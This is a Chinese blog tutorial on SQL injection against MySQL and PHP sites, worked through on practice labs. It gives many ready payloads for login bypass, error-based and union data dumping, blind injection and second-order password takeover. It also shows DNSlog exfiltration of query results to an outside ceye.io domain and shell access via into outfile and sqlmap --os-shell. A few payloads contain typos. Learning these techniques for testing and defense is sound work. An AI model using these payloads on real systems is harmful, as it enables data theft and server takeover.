从0到1详解sql注入

本文是对常见sql注入类型及各种细节的讲解,只要你了解sql和php语言(看得懂即可),
本文将带你实现sql注入的从0到1(妄称),完成入门

01.前期扫盲准备

sql注入原理

服务端连接有数据库,客户端伪造sql查询语句,传到服务端的数据库执行,将结果返回给了客户端。

url编码

浏览器用来处理会与后端冲突的特殊符号而产生的一种输入格式
编码形式:%+对应ascⅡ码的hex值

推荐一个本地的红队加解码器captencoder

最简单的例子–>万能密码

经典的1’or1’
原理:假设后端的查询语句是

Select user_id,user_type,email From users Where user_id='用户名' And password='密码'

那么如果我们想以admin的user_id登录却不知道密码时,就可以对password构造万能密码注入,这时后端执行的查询语句是

Select user_id,user_type,email From users Where user_id='admin' And password='1'or'1'

or后面接着1,逻辑判断为真,所以password的检查这项就被绕过了(被直接判断为了真),所以成功以admin登录了

抓包测试注入

为方便测试,一般会先抓包,在repeater中测试
注意:url中不能出现空格,所以若是GET请求(后面会提到,其实是以GET变量取参时),在请求头处不能出现空格(用加号或者20%);特殊符号也要url编码

注释符

1.POST用#注释:#在url中会被当成系统命令符
2.GET用”–+“:为什么是减减加?sql语法支持用–注释,但是后面必须跟空格,而前面说了+就是空格(url中必须用+),所以才成了减减加

初步测试有无注入点

1.传参传一个单引号,报出错:单引号把查询语句中的前引号闭合了,多出来了后引号,所以报了错
2. and 1和and 0配合使用:and 1即and 1=1的简化,and 0即and1=2的简化
3.union select联合查询测试:见后文详解

02.从注入点判断注入类型

sql注入基础分类

基本分类分为四大类:数字型,字符型,搜索型,xx型
基础题型有两大类:用注入绕过登录,用注入获取敏感信息(flag)
(进阶类getshell等见后文)

那么就需要先补充一下:熟悉数据库后我们知道,一段信息在数据库中是存在该数据库中的一个表当中的一列中的一个字段当中,举例来说就是flag存放在D数据库,T表,C行,Z字段。那么我们寻找flag就是要把D,T,C,Z全部找到。

数字型

数字型注入不需要考虑引号闭合问题,因为sql语句中的数字不需要用引号括起来,如

select username,email from member where id=1;
select username,email from member where id=1 or 1;
字符型

类比数字型,那么字符型注入就是要考虑引号闭合问题的,如上文提到的万能密码

搜索型

模糊匹配:和搜索引擎类似,可以搜出相关的
实现方法:通配符%,注意要用like关键字不能用等号。如

select id from member where ussername like "%vin"; #查询以vin结尾的

在这里插入图片描述
对于此类情况建议最好在payload中加个%闭合查询语句的前%

payload:1%’ or 1#

xx型(括号型)

形如:

select id from member where username=('$name');

查询语句拼接处加了括号,正常sql语句不这么写,但是数据库不报错的这类称为xx型。一般就是小括号

sql注入进阶分类

Json类

先补充一下content-type的类型:
在这里插入图片描述
可以看到这个数据包的类型是apllication/x-www-form-urlencoded,这个urlencode(url编码形式)针对的是该数据包传输数据的格式,即urlencoded对应的传输格式就是我们熟悉的:键1=值1&键2=值2这种写法

在这里插入图片描述

再来看这种,这种就是json格式,参数形式类似:{“name”:“1”}
json出现的原因:例如python和php进行数据传输时,因为数据类型不匹配而无法正确解析,此时就需要json来充当第三方数据类型,当python和php两方都具有json数据处理模块时就可以通过json进行数据传输。
使用json的常见情况:前后端分离的网站,小程序公众号
在这里插入图片描述
回到注入上,当找到注入点后构造类似如下payload即可:

json={"username":"admin ' or 1# "}
json={"username":"admin ' union select ...# "}

sql注入提交方式对应的全局变量

get提交:$_GET(PHP), request.querystring(ASP),request.GET(python django)
post提交:$_POST(PHP), request.form(ASP),request.POST(python django)
cookie提交:$_COOKIE(PHP), request.cookie(ASP)
全部接受:$_REQUEST(PHP)
请求头提交:$_SERVER(PHP)

注意一点:只要后端使用的是$_GET取数据,即使数据包是以POST发送,后端仍能取到url中的数据

报错注入

使用原因:当服务器有回显,但并不返回所查数据,仅返回如查询成功一类信息(答非所问)时,便不能只用前面的简单的注入方法了
原理:后台没有屏蔽错误信息显示,在用户输入错误的sql语法时错误会被显示在前端,其中携带出敏感信息

~常用于报错注入的函数:

Updatexml():mysql对xml文档进行修改XPATH的函数(XPATH即XML-PATH,即xml形式下的路径)
extractvalue():mysql对xml查询XPATH的函数
floor():mysql向下取整的函数(不常用)

~~具体说一下这几个函数
  1. Updatexml

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
功能:在第一个参数中找到第二个参数,用第三个参数替换它
XPATH:假如第一个参数是<a><b>FY_Hypo<\a><\b>,那么第二个参数的/a/b表示的是a标签下的b标签下的数据,即FY_Hypo

特性:当XPATH路径这一参数错误时,会直接返回我们写的有误的XPATH参数
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式,只需要把想爆的数据(如database())写在这里即可返回该数据的信息,如payload:

 ' and updatexml(1,select database(),1)#

2.extractvalue

extractvalue(‘XML_document’,‘Xpath_string’)
//即extractvalue(‘目标xml文件名’,‘在xml中查询的字符串’)
功能:在第一个参数中查询第二个参数。

特性:当XPATH这一参数有误,会直接返回带有这一参数的报错信息
会报类似这样的错:

ERROR 1105 (HY000): XPATH syntax error: 'pikachu'
~~记得加concat函数

concat函数:把所传参数拼起来
使用原因:构造payload时如果只用XPATH函数的话,会出现参数显示不全的问题,如root@localhost被显示为@localhost
所以完整payload类似如下:

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

0x7e是什么?
答:0x7e是~的16进制形式,因为cancat的一三号参数不为空,所以干脆加个特殊符号
为什么要用16进制?
答:~本身是字符串,需要加引号,使用单引号会冲突,使用双引号怕被过滤

~报错注入实战

在这里插入图片描述
皮卡丘靶场的搜索型注入,payload:

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)# #爆版本
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)# #爆用户
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)# #爆库(当前)
# 看情况选择加不加前单引号,and要不要换成or,要不要将后井号换成and/or

在这里插入图片描述
爆出库名pikachu,接着爆表,payload:

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'),0x7e),1)#

补充一下:mysql5.1版本及以上,存在information_schema的默认数据库
在这里插入图片描述
按我们写好的payload注入一下,发现什么都没出来,翻译一下它说一次只能返回一行的数据
说人话其实就是因为我们的目标数据库中有很多个表,它不能一次性全部给你展示完
解决方法:使用limit(麻烦)或者group_concat(方便,直观)
在这里插入图片描述
根据百科,group_concat函数可以将我们的数据库当成一个组,把其中包含的所有组名连接起来,来一次显示
所以构造的最终payload:

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1)#

注意:limit方法和group_concat是可以平替的,当一个被ban可以尝试另一个

在这里插入图片描述
使用上述payload成功爆出了所有的表名,接下来挨个对每个表爆字段,同理写出如下payload:

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),1)#
# 可简化为(不建议):
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)# 
# 省略掉库名,但不建议,因为可能不同的库中有相同名字的表

在这里插入图片描述
拿到字段名,接着还是挨个去爆每个字段的内容找flag,payload:

' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)# 

在这里插入图片描述
成功拿到flag

sql注入按查询语句分类

mysql的查询函数:select,insert,update,delete(增删改查)

insert注入

最直观的例子就是注册功能,用户输入注册数据,数据被insert到数据库,从而产生sql注入
但是需要注意的是:这类情况通常是不会有和数据有关的回显信息的,所以常使用报错注入的手段
在这里插入图片描述
以这个为例,假设我们已经发现了注入点在用户处,构造报错注入,payload:

' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
#本题为insert,考虑到这点,猜测所有参数应该缺一不可,所以连接词改用or,同时去掉后注释符,记得闭合后引号

在这里插入图片描述

update注入

在这里插入图片描述
与insert类似,最直观的题型就是用户修改数据的题型
在这里插入图片描述
如题,在注册并登录后出现可以修改个人信息的页面,这种时候就要尝试一下存不存在update注入
payload:

' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

在这里插入图片描述

delete注入

字面意思,针对删除操作的注入,如题:
在这里插入图片描述
随便写点评论,鼠标放在“删除”处,浏览器会在左下角提示出执行操作时的请求。看到传递的参数是id=60,猜测后端是取出id后拼接上delete语句,既然有传参的操作,那么就可以尝试sql注入,但考虑到没有回显,那么自然的选择到报错注入。为了对id注入,先抓个包:
在这里插入图片描述
对url中的id进行报错注入,需要注意的是:这是数字型注入,不加引号;且GET请求的url不能出现空格等字符,写好payload后需要url编码一下,所以最终的payload:

-1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
#url编码后:
-1+or+updatexml(1,concat(0x7e,(select+database()),0x7e),1)

在这里插入图片描述
成功。

宽字节注入(少见)

先简单补充一下编码:

ASCⅡ码:用一个字节去表示一个字符,如a-01100101-97-0x61
gbk和GB2312编码:中国国标,两个字节表示一个中文
unicode:万国码,综合各国文字符号,四个字节表示一个
utf8编码:(当今使用最多) 可变长度的编码方式,各国的长度不同,三个字节表示一个中文,如 汉-0xf0x5c0x7b

再补充一种应对字符型注入的防御方法:将引号转义

如果使用addslashes,mysql_real_escape_string或者使在php.ini中添加magic_quotes_gpc=on,都可以将单引号、双引号、反斜线和NULL字符转义,即在前面加上\,可以理解为被注释掉了
举个例子:
如果启用了该防御方法,我们在注入后,后端的查询代码会变成select * from mem where name=‘admin \’ or 1’,这时整个admin \’ or 1都在引号中,被当成整体,因为没有name是这个的数据,所以会查询失败

宽字节注入就是针对这种防御方法的一种注入手段
局限:仅能在后端数据库使用gbk编码且后端使用GET取参时使用(后述原因),所以这种注入并不常见
原理:上文提到当后端使用GET全局变量取参数时,特殊字符会被url编码(包括那个),如果这时在前面自己加一个url编码形式的字符,就可以实现用这个字符把\结合掉
具体来说:

我们的注入语句是:admin’ or 1#
url转码后是:admin%27+or+1%23
在被加入转义符后是:admin%5C%27+or+1%23
在使用宽字节注入后是:admin%df%5C%27+or+1%23,其中%df是我们自己加来结合%5C的,因为0xdf0x5C就是中文的“運”字。这时查询语句中会拼接的就是admin運’ or 1#,实现了注入
gbk编码在线转换工具:https://tool.chinaz.com/tools/urlencode.aspx

在这里插入图片描述
看道例题:
在这里插入图片描述
在这里插入图片描述
可以看到正常注是注不进去的,而且注意一下回显是username不存在,遇到这种情况就可以猜测一下是整个payload被当成了整体,即引号失效导致的,所以可以尝试一下宽字节注入
在这里插入图片描述
使用我们上面写好的payload注入:
在这里插入图片描述
所有的信息被显示,注入成功。

最后回答一下为什么是只gbk编码时才行:类比以上思路会很容易想到补两个字符来用utf8,或者使用其他编码。实际上只有在gbk下才有且仅有%df满足可以和\的5C结合出东西,所以很遗憾只有这一种payload。

其他注入手段

加密注入

为了防止敏感信息(但又不是特别重要的)被从url中直接看到,有些网址会把参数加密之后再传输,且通常这类加密是在前端用js代码完成的,举个例子:
在这里插入图片描述
可以明显的看到浏览器对参数进行了base64编码,解码:
在这里插入图片描述
遇到这种情况注入也很简单,只要先解码后在原参数加入注入语句,再编码回去即可

如果一下子看不出来加密方法:考虑到是由前端实现的加密,那么可以直接在前端找实现加密的代码。例如被加密的参数被赋予了id属性id=name,那么我们可以在“NETWORK”中挨个js文件搜索id=name查找相关代码

堆叠注入

堆叠注入:字面理解,就是多条sql语句一起执行。mysql中的;表示一个语句的结束,这种注入就是在payload中加;的方法让数据库执行恶意语句

这种方法很容易联想到联合注入(union),和union很像都可以执行我们自定的查询语句,但是堆叠注入堆叠的是任意语句(甚至可以执行drop删除数据库),所以堆叠注入的危害远大于联合注入

局限性:并非每个环境下都有堆叠注入,受到数据库种类和api的限制;且堆叠注入更为容易防御

api:服务端连接mysql的函数。如$result=mysqli_query($link,$query)中的mysqli_query()函数。

支持的数据库:sql server中的任何函数都可以
不支持的数据库:oracle中的任何函数都不支持
取决于api的数据库:mysql。mysql中的mysql_multi_query和mysqli_multi_query支持;mysqli_query等等都不支持

二次注入

针对情况:和宽字节注入一样,也是针对单引号转义机制的注入方法
漏洞成因:单引号被过滤后直接存到数据库中,由于默认的存储机制是不会把转义符号\存下,所以形成了脏数据,若从数据库取数据时未做恰当的安全处理,则对这个数据进行二次查询即可触发注入效果。
使用场景如:有注册和修改信息等存储和从数据库取信息功能时可以尝试
下面用sqli-labs靶场24关演示一下二次注入攻击:
注册一个叫admin’#的用户,密码随便设为123
在这里插入图片描述
按这个用户名登录:
在这里插入图片描述
在这里插入图片描述
发现我们成功以admin’#的身份登录了

这里有个问题:为什么我这样二次访问了脏数据,注入没有触发?
答:登录的过程中还是走了从前端输入这条路,只要走这条路那么引号必定会被转义,要想触发二次注入必须是从数据库自己把已存储的脏信息“吐出来”,所以就要用到这个登录后的修改密码功能了

我们可以根据功能大概猜出修改密码的sql语句,假设是:

$username= $_SESSION["username"]; #用session全局变量取出用户名
$sql= " update users set password='$new_pass' where username='$username' ";
#假设new_pass是修改后的新密码

可以看到这个直接取出username的操作就是形成本漏洞的原因,它直接把我们的脏数据取出来拼接在了update语句上,所以最后被执行的语句是:

update users set password='$new_pass' where username='admin'#';

那么就实现了伪造admin’#用户,从而篡改admin的密码
修改个114514试试:
在这里插入图片描述
登录一下admin用户,看看修改密码是否成功
在这里插入图片描述
在这里插入图片描述
成功的以admin身份登录。
注:本例演示了在不知道admin密码的情况下,通过篡改密码,登录到admin

中转注入

中转注入:将参数先发送到指定网址(脚本),对请求所带的数据进行二次加工,再发给服务端。常用于绕过waf,可阅读以下文章:

https://blog.csdn.net/qq_47709391/article/details/122487231
https://blog.csdn.net/weixin_50464560/article/details/120958324

伪静态注入

静态网站:如html一类不与服务端交互的网站
动态:php,asp,jsp…
伪静态:为了起到迷惑作用,开发者将动态网站伪装成静态的技术。原理是在客户端是如1.html的页面请求发送到服务端后,服务端对页面做一个类似映射的重定向,重定向到如index.php的网页,也可能将前面的1映射成index.php?id=1的意思,从而实现动态交互。

判断网站是伪静态的方法:在f12的Console(控制台)中输入:javascript:alert(document.lastModified)
如果多次回显的时间相同且和现在的时间对不上,那么就是静态的,反之则是伪静态
在这里插入图片描述

注入姿势:把伪静态当成动态的注入即可。如1.html即可测试1是不是注入点(在1后面拼接sql注入语句)

无回显注入

无回显:输入测试语句后页面完全没有改变且尝试报错注入时也不报错,或者测试时直接返回404/403页面。
原因:注入语句已成功注入,且数据库的敏感信息也已经被选中,但因为服务端存在对响应信息的过滤等防护操作,导致数据不能回显到前端。(如果使用的是mysqli_query则不会返回报错信息,所以报错注入也行不通)
分类:布尔盲注,时间盲注,DNSlog注入

布尔型盲注

通过一个比较手段得到一个真假值(0/1),根据真假值判断数据是什么样
先来看一下需要用到的函数:
在这里插入图片描述
假设我们的数据库名是yuanshen,那么select substr(database(),1,4)的返回结果就是yuan。
在这里插入图片描述
如果select ascii(substr(database(),1,1)),则返回的结果就是y的ascii码值121
如果select ascii(substr(database(),1,1))>120,则返回结果是1
select ascii(substr(database(),1,1))<122,则结果是1
那么就可以通过这种二分的比较法确定出数据库名的第一个字符是y,只要逐个重复该操作便可确定出整个数据库名。
为了让上述语句可以有效的执行,我们可以构造如下的payload:

#已测出数据库中有叫mihoyo的用户
mihoyo' and ascii(substr(database(),1,1))=121#
#如果正常返回了mihoyo的数据就说明and后面的条件为真,即确定了数据库名的第一个字符

接着用同样的方法获得information_schema.tables中的数据

需要注意的是:一般并不会手工一个个去测,大部分情况需要我们自己用python写脚本来测,或者使用sqlmap等自动化工具(见后文)。

时间型盲注

出现原因:当所有的输入返回的页面都一样时布尔盲注失效,此时就需要基于时间的盲注
测试注入点:输入admin’ and sleep(3),如果页面刷新比正常慢了大概3秒,说明sleep被当作sql语句执行了,所以有注入点。

先来了解一种sql的if语句:
if(1>2,‘a’,‘b’)这句话的意思是如果1>2为真则返回a,反之则b,有点像c里面的三目运算
再来看这句话:
if(substr(database(),1,1)=‘y’,sleep(10),null)这句话的意思就是如果数据库名第一个字符是y就延迟10秒出新页面,否则正常。

那么我们的payload也就明显了:

admin' and if(substr(database(),1,1)='y',sleep(10),null)#

只有不断改变substr的第三个参数和’y’,即可把数据库名的所有字符撞库出来。
同理爆表,爆字段也是这样。

时间盲注的另一种姿势(延迟注入):
在这里插入图片描述
我们可以在payload中用benchmark(10000000,md5(1))来替换sleep达到延时的效果

DNSlog注入

使用情况:如果无回显时盲注也失效,那么这时就可以尝试通过DNSlog注入的方式把想获得的数据外带出来
利用条件:secure_file_priv 不能为NULL,仅支持 Windows但不支持 Linux
原理:拼接load_file函数让数据库对给定网址发DNS请求,在目标网址进行监测即可监测到该DNS请求。如果DNS请求中携带敏感信息(如数据库名),则可以就这样被我们从外部获取。
UNC路径:上述“DNS请求”使用的并非HTTP路径,而是UNC,它是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器,直接类比HTTP路径理解,写法直接记住就行

concat('\\’,(select database()),’.xtftm5.ceye.io\sql’)
在最前面加四个\,然后可以拼接我们想带出来的敏感信息,再加一个特定的域名,最后是两个\和域名目录,随意即可。
特定域名获取和监测方式:http://ceye.io/

按http理解:执行访问http://database().com操作,最后就会访问到http://pikachu.com,我们只要监测到这个域名就可以获取到敏感信息。
payload(用自己获得的域名替换下面的xtftm5.ceye.io):

查询当前数据库:
and load_file(concat(‘\\’,(select database()),’.xtftm5.ceye.io\sql’)) //xtftm5.ceye.io根据ceye平台给你的域名更改,\sql是域名目录,随意即可,select database()换成sql注入payload即可
查询表名:
and load_file(concat(‘\\’,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),’.xtftm5.ceye.io\sql’))
查询列名:
and load_file(concat(‘\\’,(select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),’.xtftm5.ceye.io\sql’))
查询数据:
and load_file(concat(‘\\’,(select username from users limit 0,1),’.xtftm5.ceye.io\sql’))

03.防御及绕过

对于sql注入的防御和绕过手段都十分的多,需要在实战中不断积累经验。以下仅做简单展示。

前端绕过

前端防御:拿注册界面为例,前端的js代码可能会检验你填写的邮箱之类的信息格式是否正确,不正确是不给发包的。
绕过:先输入正确的,之后抓包修改为注入语句

后端绕过

防御手段:如ban关键字,替换关键字,使用intval函数直接将输入数据转为整型,使用魔术符号等
绕过:大小写混合绕过,双写绕过,尝试宽字节绕过

04.漏洞的后续利用

读取敏感文件

条件:知道该文件的真实物理路径,数据库的配置文件中secure_file_priv开启允许sql语句读取文件
姿势:拼接前文提到的load_file函数+路径即可读取文件

读取数据库数据(联合查询)

1.使用order by判断列数

ORDER BY 语句用于对结果集进行排序。
在这里插入图片描述

payload:

' order by 1,2,3--+   #报错,说明列数<3,接下来试2
' order by 1,2--+     #不报错,说明了列数为2

2.爆库名

使用union配合group_concat联合查询带出所有存在的库名(已测出列数为2),payload:

' union select 1,group_concat(schema_name) from information_schema.schemata+--+

3.爆表名

还是使用mysql自带数据库information_schema查询表名,payload:

' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+

4.爆列名(字段名)

假设我们前面爆出了叫users的表,为了想看它的内容需要先知道存在哪些列,所以先要爆列名(字段名),使用payload:

' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+

为什么表名要使用16进制?
答:浏览器会把提交数据url编码(%+十六进制数),为了以防万一,将users也换为十六进制提交
在这里插入图片描述

5.爆数据(字段内容)

假设上一步爆出的字段名有:id,password,flag
payload:

' union select 1,group_cooncat(id,0x7c,username,0x7c,flag,0x7c) from users+--+

0x7c:就是“|”,为了方便观看而写的分隔符

总.payload总结

' order by 1,2--+   #若不报错,说明了列数为2
' union select 1,group_concat(schema_name) from information_schema.schemata+--+  #爆库名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+  #爆表名
' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+  #爆字段名
' union select 1,group_cooncat(id,0x7c,username,0x7c,flag,0x7c) from users+--+   #爆数据

GetShell

什么是getshell?
答:“getshell"是一个网络安全领域术语,用于描述攻击者成功获取对目标系统的控制权或访问权限的情况。
当一个系统被攻击者成功入侵并获取了系统的某种形式的控制权时,通常被称为"getshell”。这意味着攻击者可以在目标系统上执行任意的命令、上传或下载文件、修改系统配置等操作。
通常情况下,攻击者通过利用系统的漏洞、软件的弱点、社会工程等方式来达到getshell的目的。一旦getshell成功,攻击者可以将目标系统用作发起更广泛攻击、存储、控制其他资源的平台。

通过sql注入写马的条件

1.mysql开启了secure_file_priv=""的配置,即允许使用sql语句对文件读写
2.知道网站代码的真实物理路径(需配合信息收集手段获取)
3.物理路径具有写入权限
4.最好拥有root权限(非必须,不是也可提权)

补充一点:
比如我们从一项web服务项目通过sql注入侵入了服务器,那么我们在服务器拥有的权限是和在服务器部署该web服务项目的运维人员使用的权限是一致的。

写马

方法:into outfile方法
在这里插入图片描述
语法:select+要写入的内容+into outfile+真实物理路径

真实物理路径:是指文件或目录在计算机系统中存储的物理位置。它表示文件、文件夹或目录在文件系统层次结构中的确切位置。这个路径可以是操作系统使用的实际硬盘上的目录结构路径。
在不同的操作系统中,真实物理路径的表示方法可能会有所不同。下面是一些常见操作系统的示例:
在Windows操作系统中,真实物理路径通常使用驱动器号和目录路径表示,例如:C:\Users\Username\Documents。
在Linux和Unix操作系统中,真实物理路径通常从根目录(/)开始,指定目录和子目录的路径层次结构,例如:/home/username/Documents。

payload形如:
在这里插入图片描述

获取真实物理路径

1.收集类似phpinfo一类的敏感目录
2.通过报错信息获得路径
3.指纹收集
4.配合命令执行漏洞,远程执行phpinfo()
以上仅提供简单思路,详见下一篇博客(信息收集篇)

使用sqlmap getshell

–os-shell

原理:转自https://blog.csdn.net/qq_61237064/article/details/124154956
在这里插入图片描述

过程演示:
在这里插入图片描述
用pikachu的第一题做演示,本文使用kali自带的sqlmap(安装kali见https://blog.csdn.net/2301_77004573/article/details/131532586)
测试完存在注入点后,输入–os-shell:

在这里插入图片描述
在这里插入图片描述
这时sqlmap会问我们站点是哪种语言,根据前期信息收集可以得到(这里是php),我们输入4

在这里插入图片描述
接着sqlmap又会问我们网站的真实物理路径:
[1]sqlmap会尝试一些常见的路径(不推荐选择)
[2]由用户输入已由信息收集获得的路径(常用)
[4]跑sqlmap自带的字典暴力破解
[3]加载目录列表爆破
我们选择2
在这里插入图片描述
输入我们获得的真实物理路径,按回车,之后就拿到了shell

–file-write

用法–file-write+要写入的文件
–file-dest+写入的路径
payload:
–file-writte “C://1.txt”

05关于mysql版本

旧版本间区别

mysql从5.0开始才有自带数据库information_schema,在5.0以下版本仅能通过暴力破解获取数据

新版&旧版区别

mysql8更新了table函数和values函数
table函数:作用与select类似,table users即select * from users,但table并不能按列取(补充:注入时可以用行比较或者as+伪随机数的方法)
values函数:select * from users union values row(2,3)即select * from users union select 2,3

06结语

 虽然妄称了从0到1,但本文仅涵盖mysql数据库及php网站的sql注入,仅供入门者参考。

结语:网络安全是一个不断演变的领域,若要深究sql注入,在熟悉漏洞的原理的基础上,还需要我们与时俱进,保持对热爱的坚持,持续学习,不断探索。

在这里插入图片描述
(第一次写这么长的博客,有点小紧张QWQ)

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值